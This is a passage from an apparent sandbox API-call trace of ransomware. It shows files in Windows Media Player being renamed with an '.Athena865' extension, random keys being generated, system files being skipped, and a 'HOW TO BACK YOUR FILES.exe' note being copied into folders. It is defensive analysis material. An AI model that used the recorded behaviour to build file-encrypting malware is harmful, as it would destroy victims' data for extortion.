dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0047.620] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=472064) returned 1 [0047.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0047.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0047.620] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0047.620] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0047.621] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0047.621] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.621] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x73700, lpName=0x0) returned 0x17c [0047.624] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x73700) returned 0x2d50000 [0047.645] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0047.646] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0047.646] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0047.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0047.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0047.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0047.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0047.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0047.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a400 [0047.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0047.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a400 | out: hHeap=0x4f0000) returned 1 [0047.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0047.647] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0047.650] CloseHandle (hObject=0x17c) returned 1 [0047.651] CloseHandle (hObject=0x154) returned 1 [0047.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0047.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0047.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0047.653] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4041c528, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4041c528, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xb1a36320, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1 [0047.653] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.653] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.653] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".") returned 1 [0047.653] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="..") returned 1 [0047.653] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="windows") returned 1 [0047.653] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="bootmgr") returned 1 [0047.653] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="temp") returned 1 [0047.653] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="pagefile.sys") returned 1 [0047.653] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="boot") returned 1 [0047.653] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="ids.txt") returned 1 [0047.653] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="ntuser.dat") returned 1 [0047.653] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="perflogs") returned 1 [0047.653] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2="MSBuild") returned 1 [0047.653] lstrlenW (lpString="WMPNSSUI.dll") returned 12 [0047.653] lstrcpyW (in: lpString1=0x241e8a0, lpString2="WMPNSSUI.dll" | out: lpString1="WMPNSSUI.dll") returned="WMPNSSUI.dll" [0047.653] lstrlenW (lpString="WMPNSSUI.dll") returned 12 [0047.653] lstrlenW (lpString="Athena865") returned 9 [0047.653] lstrcmpiW (lpString1="NSSUI.dll", lpString2="Athena865") returned 1 [0047.653] lstrlenW (lpString=".dll") returned 4 [0047.653] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".dll") returned 1 [0047.653] lstrlenW (lpString=".lnk") returned 4 [0047.653] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".lnk") returned 1 [0047.653] lstrlenW (lpString=".ini") returned 4 [0047.653] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".ini") returned 1 [0047.653] lstrlenW (lpString=".sys") returned 4 [0047.654] lstrcmpiW (lpString1="WMPNSSUI.dll", lpString2=".sys") returned 1 [0047.654] lstrlenW (lpString="WMPNSSUI.dll") returned 12 [0047.654] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll.Athena865") returned 66 [0047.654] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" (normalized: "c:\\program files (x86)\\windows media player\\wmpnssui.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmpnssui.dll.athena865"), dwFlags=0x1) returned 1 [0047.655] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmpnssui.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0047.655] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31744) returned 1 [0047.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0047.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0047.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0047.655] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0047.656] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0047.656] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.656] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7f00, lpName=0x0) returned 0x17c [0047.658] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7f00) returned 0x100000 [0047.660] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0047.661] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0047.661] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0047.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0047.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0047.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0047.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0047.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0047.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x523fa0 [0047.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0047.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x523fa0 | out: hHeap=0x4f0000) returned 1 [0047.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0047.661] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0047.662] CloseHandle (hObject=0x17c) returned 1 [0047.662] CloseHandle (hObject=0x154) returned 1 [0047.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0047.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0047.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0047.662] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53bc9d99, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x53bc9d99, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7ad31980, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1 [0047.662] lstrcmpiW (lpString1="wmprph.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.662] lstrcmpiW (lpString1="wmprph.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.662] lstrcmpiW (lpString1="wmprph.exe", lpString2=".") returned 1 [0047.662] lstrcmpiW (lpString1="wmprph.exe", lpString2="..") returned 1 [0047.662] lstrcmpiW (lpString1="wmprph.exe", lpString2="windows") returned 1 [0047.662] lstrcmpiW (lpString1="wmprph.exe", lpString2="bootmgr") returned 1 [0047.662] lstrcmpiW (lpString1="wmprph.exe", lpString2="temp") returned 1 [0047.662] lstrcmpiW (lpString1="wmprph.exe", lpString2="pagefile.sys") returned 1 [0047.662] lstrcmpiW (lpString1="wmprph.exe", lpString2="boot") returned 1 [0047.663] lstrcmpiW (lpString1="wmprph.exe", lpString2="ids.txt") returned 1 [0047.663] lstrcmpiW (lpString1="wmprph.exe", lpString2="ntuser.dat") returned 1 [0047.663] lstrcmpiW (lpString1="wmprph.exe", lpString2="perflogs") returned 1 [0047.663] lstrcmpiW (lpString1="wmprph.exe", lpString2="MSBuild") returned 1 [0047.663] lstrlenW (lpString="wmprph.exe") returned 10 [0047.663] lstrcpyW (in: lpString1=0x241e8a0, lpString2="wmprph.exe" | out: lpString1="wmprph.exe") returned="wmprph.exe" [0047.663] lstrlenW (lpString="wmprph.exe") returned 10 [0047.663] lstrlenW (lpString="Athena865") returned 9 [0047.663] lstrcmpiW (lpString1="mprph.exe", lpString2="Athena865") returned 1 [0047.663] lstrlenW (lpString=".dll") returned 4 [0047.663] lstrcmpiW (lpString1="wmprph.exe", lpString2=".dll") returned 1 [0047.663] lstrlenW (lpString=".lnk") returned 4 [0047.663] lstrcmpiW (lpString1="wmprph.exe", lpString2=".lnk") returned 1 [0047.663] lstrlenW (lpString=".ini") returned 4 [0047.663] lstrcmpiW (lpString1="wmprph.exe", lpString2=".ini") returned 1 [0047.663] lstrlenW (lpString=".sys") returned 4 [0047.663] lstrcmpiW (lpString1="wmprph.exe", lpString2=".sys") returned 1 [0047.663] lstrlenW (lpString="wmprph.exe") returned 10 [0047.663] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\wmprph.exe.Athena865") returned 64 [0047.663] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmprph.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\wmprph.exe.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmprph.exe.athena865"), dwFlags=0x1) returned 1 [0047.664] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmprph.exe.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmprph.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0047.664] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=62976) returned 1 [0047.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0047.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0047.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0047.665] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0047.665] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0047.665] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.665] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf900, lpName=0x0) returned 0x17c [0047.667] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf900) returned 0x100000 [0047.671] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0047.672] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0047.672] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0047.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0047.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0047.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0047.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0047.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0047.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x523fa0 [0047.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0047.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x523fa0 | out: hHeap=0x4f0000) returned 1 [0047.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0047.672] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0047.673] CloseHandle (hObject=0x17c) returned 1 [0047.673] CloseHandle (hObject=0x154) returned 1 [0047.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0047.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0047.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0047.673] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f3149e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f3149e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f3149e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1 [0047.673] lstrcmpiW (lpString1="wmpshare.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.673] lstrcmpiW (lpString1="wmpshare.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.674] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".") returned 1 [0047.674] lstrcmpiW (lpString1="wmpshare.exe", lpString2="..") returned 1 [0047.674] lstrcmpiW (lpString1="wmpshare.exe", lpString2="windows") returned 1 [0047.674] lstrcmpiW (lpString1="wmpshare.exe", lpString2="bootmgr") returned 1 [0047.674] lstrcmpiW (lpString1="wmpshare.exe", lpString2="temp") returned 1 [0047.674] lstrcmpiW (lpString1="wmpshare.exe", lpString2="pagefile.sys") returned 1 [0047.674] lstrcmpiW (lpString1="wmpshare.exe", lpString2="boot") returned 1 [0047.674] lstrcmpiW (lpString1="wmpshare.exe", lpString2="ids.txt") returned 1 [0047.674] lstrcmpiW (lpString1="wmpshare.exe", lpString2="ntuser.dat") returned 1 [0047.674] lstrcmpiW (lpString1="wmpshare.exe", lpString2="perflogs") returned 1 [0047.674] lstrcmpiW (lpString1="wmpshare.exe", lpString2="MSBuild") returned 1 [0047.674] lstrlenW (lpString="wmpshare.exe") returned 12 [0047.674] lstrcpyW (in: lpString1=0x241e8a0, lpString2="wmpshare.exe" | out: lpString1="wmpshare.exe") returned="wmpshare.exe" [0047.674] lstrlenW (lpString="wmpshare.exe") returned 12 [0047.674] lstrlenW (lpString="Athena865") returned 9 [0047.674] lstrcmpiW (lpString1="share.exe", lpString2="Athena865") returned 1 [0047.674] lstrlenW (lpString=".dll") returned 4 [0047.674] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".dll") returned 1 [0047.674] lstrlenW (lpString=".lnk") returned 4 [0047.674] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".lnk") returned 1 [0047.674] lstrlenW (lpString=".ini") returned 4 [0047.674] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".ini") returned 1 [0047.674] lstrlenW (lpString=".sys") returned 4 [0047.674] lstrcmpiW (lpString1="wmpshare.exe", lpString2=".sys") returned 1 [0047.674] lstrlenW (lpString="wmpshare.exe") returned 12 [0047.674] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe.Athena865") returned 66 [0047.674] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" (normalized: "c:\\program files (x86)\\windows media player\\wmpshare.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmpshare.exe.athena865"), dwFlags=0x1) returned 1 [0047.675] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmpshare.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0047.675] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=102400) returned 1 [0047.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0047.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0047.675] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0047.676] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0047.676] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0047.676] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.677] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19300, lpName=0x0) returned 0x17c [0047.678] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x19300) returned 0x100000 [0047.684] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0047.685] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0047.685] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0047.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0047.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0047.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0047.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0047.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0047.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x523fa0 [0047.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0047.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x523fa0 | out: hHeap=0x4f0000) returned 1 [0047.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0047.685] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0047.686] CloseHandle (hObject=0x17c) returned 1 [0047.686] CloseHandle (hObject=0x154) returned 1 [0047.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0047.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0047.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0047.687] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3f3149e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3f3149e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3f3149e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 0 [0047.687] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0047.687] ReleaseMutex (hMutex=0xec) returned 1 [0047.687] CloseHandle (hObject=0xec) returned 1 [0047.687] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows NT" | out: lpString1="C:\\Program Files (x86)\\Windows NT") returned="C:\\Program Files (x86)\\Windows NT" [0047.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517488 | out: hHeap=0x4f0000) returned 1 [0047.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50da30 | out: hHeap=0x4f0000) returned 1 [0047.687] lstrlenW (lpString="C:\\Program Files (x86)\\Windows NT") returned 33 [0047.687] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\155DE3C54F18469DA381C0B563F020D1") returned 0xec [0047.688] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0047.688] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows NT" | out: lpString1="C:\\Program Files (x86)\\Windows NT") returned="C:\\Program Files (x86)\\Windows NT" [0047.688] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0047.688] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows nt\\how to back your files.exe"), bFailIfExists=1) returned 0 [0047.688] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows nt\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0047.688] GetLastError () returned 0x0 [0047.688] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0047.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0047.688] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0047.689] CloseHandle (hObject=0xf4) returned 1 [0047.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0047.689] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0047.689] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc596ae0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc596ae0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0047.689] lstrcmpiW (lpString1=".", lpString2="HOW TO 